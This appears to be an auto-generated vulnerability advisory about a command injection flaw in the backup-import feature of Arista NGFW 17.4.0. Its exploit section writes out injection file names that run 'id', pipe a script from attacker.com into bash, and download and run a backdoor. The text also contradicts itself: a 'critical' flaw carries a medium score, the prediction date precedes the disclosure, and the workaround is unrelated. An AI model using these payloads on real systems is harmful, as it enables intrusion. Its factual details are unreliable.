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A critical vulnerability classified as CWE‑78 (Improper Neutralization of Special Elements used in an OS Command) resides in the Reports application infrastructure of the Arista Edge Threat Management NGFW (formerly Untangle) version 17.4.0. While the application is designed to generate security reports, the core issue lies in its inability to properly validate user-supplied input during the import of data backup files.
To understand the risk, one must consider the administrative workflow. The Reports application includes a function to “Import/Restore Data Backup Files” located under the Data subsystem. Due to the lack of strict input validation, an authenticated administrative user, who has already authenticated to the browser interface, can upload a maliciously crafted file instead of a legitimate backup archive.
The file, when processed by the backend system, causes the firewall to interpret the attacker’s embedded payload as an operating system command. Specifically, the application fails to neutralize special characters (such as command separators like &, |, or $()) that should modify the intended OS command. This results in the injected command being executed with the privileges of the firewall process, which typically operates with high-level system access. The attack vector is network-based, requires low attack complexity, but depends on the attacker having high privileges (administrative access) and no user interaction. After successful exploitation, the attacker gains OS-level access, potentially allowing full database control and significant damage to device confidentiality, integrity, and availability.
While the vulnerability is confirmed to uniquely affect version 17.4.0 and not earlier releases, it is considered by many researchers to be of high severity. The issue was discovered and reported to Arista PSIRT by Jon Williams and Ronan Kervella of Bishop Fox.
DailyCVE Form:
Platform: Arista NGFW 17.4.0
Version: 17.4.0
Vulnerability : Improper Input Validation
Severity: MEDIUM (CVSS 6.0)
date: June 5, 2026
Prediction: February 3, 2026
(end of form)
What Undercode Say:
Check if running vulnerable version Navigate to Status > About page Simulated payload location: Import/Restore Data Backup Files Injection example: filename="backup.tar; id > /tmp/evil.txt" Upload malicious file through POST /reports/upload endpoint Log monitoring for suspicious OS command execution sudo grep -i "command executed" /var/log/arangod.log | grep -v "expected" sudo grep -i "postgres" /var/log/auth.log Check for unauthorized database queries sudo tail -f /var/log/postgresql/postgresql.log | grep -i "error"
Exploit:
Exploitation requires an attacker to first obtain administrative credentials to log into the Arista NGFW browser management interface. Once authenticated:
1. Navigate to the Reports application dashboard.
2. Locate the Import/Restore Data Backup Files field.
- Upload a specially crafted file containing OS command injection payloads. For example: a file named `backup.tar; curl http://attacker.com/shell.sh | bash` or a file containing
; wget -O /tmp/backdoor http://attacker.com/evil -O /tmp/backdoor ; chmod +x /tmp/backdoor ; /tmp/backdoor &. - When the system parses the file, the command is executed on the underlying OS with the privileges of the firewall process, typically as the `postgres` user or with high-level system access.
- This allows the attacker to execute arbitrary system commands, potentially leading to a full system compromise, including database control.
Protection:
The primary mitigation is to upgrade to Arista NGFW version 17.4.1 immediately, which contains the official patch. If an immediate upgrade is not feasible, disable the Captive Portal Basic Login feature as a temporary workaround. Additionally, strictly limit administrative access to the web interface, ensuring only trusted personnel can log in. Implement rigorous network segmentation and monitor logs for any unusual command execution or anomalies within the Reports application.
Impact:
Successful exploitation yields arbitrary OS command execution on the NGFW appliance. This can lead to complete system compromise, allowing an attacker to steal sensitive data, modify firewall rules, disrupt network traffic, and pivot to other internal systems. The impact also includes full database control and potential privilege escalation, as the attacker can use the compromised appliance to launch further attacks within the organization’s network.
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Sources:
Reported By: nvd.nist.gov
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